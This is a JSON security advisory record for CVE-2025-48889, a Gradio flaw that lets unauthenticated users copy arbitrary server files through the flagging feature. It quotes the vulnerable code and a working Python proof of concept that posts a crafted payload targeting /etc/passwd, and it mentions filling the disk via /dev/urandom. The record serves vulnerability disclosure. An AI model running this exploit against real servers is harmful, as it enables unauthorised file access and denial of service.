{"id":"CVE-2025-48889","aliases":["CVE-2025-48889","GHSA-8jw3-6x8j-v96g","PYSEC-2025-119"],"related":[],"kind":"vulnerability","state":"published","title":"Gradio Allows Unauthorized File Copy via Path Manipulation","summary":"Gradio is an open-source Python package that allows quick building of demos and web application for machine learning models, API, or any arbitrary Python function. Prior to version 5.31.0, an arbitrary file copy vulnerability in Gradio's flagging feature allows unauthenticated attackers to copy any readable file from the server's filesystem. While attackers can't read these copied files, they can cause DoS by copying large files (like /dev/urandom) to fill disk space. This issue has been patched in version 5.31.0.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Gradio is an open-source Python package that allows quick building of demos and web application for machine learning models, API, or any arbitrary Python function. Prior to version 5.31.0, an arbitrary file copy vulnerability in Gradio's flagging feature allows unauthenticated attackers to copy any readable file from the server's filesystem. While attackers can't read these copied files, they can cause DoS by copying large files (like /dev/urandom) to fill disk space. This issue has been patched in version 5.31.0.","source":"cvelist"},{"lang":"en","text":"An arbitrary file copy vulnerability in Gradio's flagging feature allows unauthenticated attackers to copy any readable file from the server's filesystem. While attackers can't read these copied files, they can cause DoS by copying large files (like /dev/urandom) to fill disk space.\n\n### Description\nThe flagging component doesn't properly validate file paths before copying files. Attackers can send specially crafted requests to the `/gradio_api/run/predict` endpoint to trigger these file copies.\n\n**Source**: User-controlled `path` parameter in the flagging functionality JSON payload  \n**Sink**: `shutil.copy` operation in `FileData._copy_to_dir()` method\n\nThe vulnerable code flow:\n1. A JSON payload is sent to the `/gradio_api/run/predict` endpoint\n2. The `path` field within `FileData` object can reference any file on the system\n3. When processing this request, the `Component.flag()` method creates a `GradioDataModel` object\n4. The `FileData._copy_to_dir()` method uses this path without proper validation:\n\n```python\ndef _copy_to_dir(self, dir: str) -> FileData:\n    pathlib.Path(dir).mkdir(exist_ok=True)\n    new_obj = dict(self)\n\n    if not self.path:\n        raise ValueError(\"Source file path is not set\")\n    new_name = shutil.copy(self.path, dir)  # vulnerable sink\n    new_obj[\"path\"] = new_name\n    return self.__class__(**new_obj)\n```\n5. The lack of validation allows copying any file the Gradio process can read\n\n### PoC\nThe following script demonstrates the vulnerability by copying `/etc/passwd` from the server to Gradio's flagged directory:\n\n\nSetup a Gradio app:\n\n```python\nimport gradio as gr\n\ndef image_classifier(inp):\n    return {'cat': 0.2, 'dog': 0.8}\n\ntest = gr.Interface(fn=image_classifier, inputs=\"image\", outputs=\"label\")\n\ntest.launch(share=True)\n```\n\nRun the PoC:\n\n```python\nimport requests\n\nurl = \"https://[your-gradio-app-url]/gradio_api/run/predict\"  \nheaders = {\n    \"Content-Type\": \"application/json\",  \n    \"User-Agent\": \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36\" \n}\n\npayload = {\n    \"data\": [\n        {\n            \"path\": \"/etc/passwd\",  \n            \"url\": \"[your-gradio-app-url]\",\n            \"orig_name\": \"network_config\", \n            \"size\": 5000,  \n            \"mime_type\": \"text/plain\", \n            \"meta\": {\n                \"_type\": \"gradio.FileData\"  \n            }\n        },\n        {}  \n    ],\n    \"event_data\": None,\n    \"fn_index\": 4, \n    \"trigger_id\": 11, \n    \"session_hash\": \"test123\"  \n}\n\nresponse = requests.post(url, headers=headers, json=payload)\nprint(f\"Status Code: {response.status_code}\")\nprint(f\"Response Body: {response.text}\")\n```","format":"markdown","source":"ghsa"},{"lang":"es","text":"Gradio es un paquete de Python de código abierto que permite la creación rápida de demos y aplicaciones web para modelos de aprendizaje automático, API o cualquier función arbitraria de Python. Antes de la versión 5.31.0, una vulnerabilidad de copia arbitraria de archivos en la función de marcado de Gradio permitía a atacantes no autenticados copiar cualquier archivo legible del sistema de archivos del servidor. Si bien los atacantes no pueden leer estos archivos copiados, pueden causar un ataque de denegación de servicio (DoS) al copiar archivos grandes (como /dev/urandom) para llenar el espacio del disco. Este problema se ha corregido en la versión 5.31.0.","source":"nvd"}],"published":"2025-05-29T22:36:59.000Z","modified":"2026-06-17T09:30:26.400Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","score":5.3,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","score":5.3,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","score":5.3,"rating":"MEDIUM"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"}],"cwes":["CWE-434"],"affected":[{"ranges":[{"version":"< 5.31.0","status":"affected"}],"vendor":"gradio-app","product":"gradio","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"5.31.0"}],"ecosystem":"PyPI","package":"gradio","purl":"pkg:pypi/gradio","source":"ghsa"},{"ranges":[{"status":"affected","introduced":"5.25.2","fixed":"5.31.0"}],"vendor":"gradio_project","product":"gradio","cpe":"cpe:2.3:a:gradio_project:gradio:*:*:*:*:*:python:*:*","source":"nvd"},{"ranges":[{"type":"ecosystem","introduced":"5.25.2","status":"affected","fixed":"5.31.0"}],"ecosystem":"PyPI","package":"gradio","purl":"pkg:pypi/gradio","source":"pysec"}],"references":[{"url":"https://github.com/gradio-app/gradio/security/advisories/GHSA-8jw3-6x8j-v96g","tags":["evidence","exploit","third-party-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-48889","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/gradio-app/gradio","tags":["package"],"sources":["ghsa"]},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/gradio/PYSEC-2025-119.yaml","tags":["web"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"partial","date":"2025-05-30T12:25:32.162Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2025-48889","url":"https://www.cve.org/CVERecord?id=CVE-2025-48889","licence":"CVE Terms of Use","modified":"2025-05-30T12:25:35.195Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-8jw3-6x8j-v96g","url":"https://github.com/advisories/GHSA-8jw3-6x8j-v96g","licence":"CC-BY-4.0","modified":"2026-06-05T18:00:15.321Z"},{"source":"nvd","name":"NVD","id":"CVE-2025-48889","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-48889","licence":"Public domain","modified":"2026-06-17T09:30:26.400Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2025-119","url":"https://osv.dev/vulnerability/PYSEC-2025-119","licence":"CC-BY-4.0","modified":"2026-05-20T09:19:01.899Z"}],"updatedAt":"2026-11-25T22:58:58.580Z","epss":{"score":0.00735,"percentile":0.5566,"date":"2026-12-01T12:00:22.000Z"}}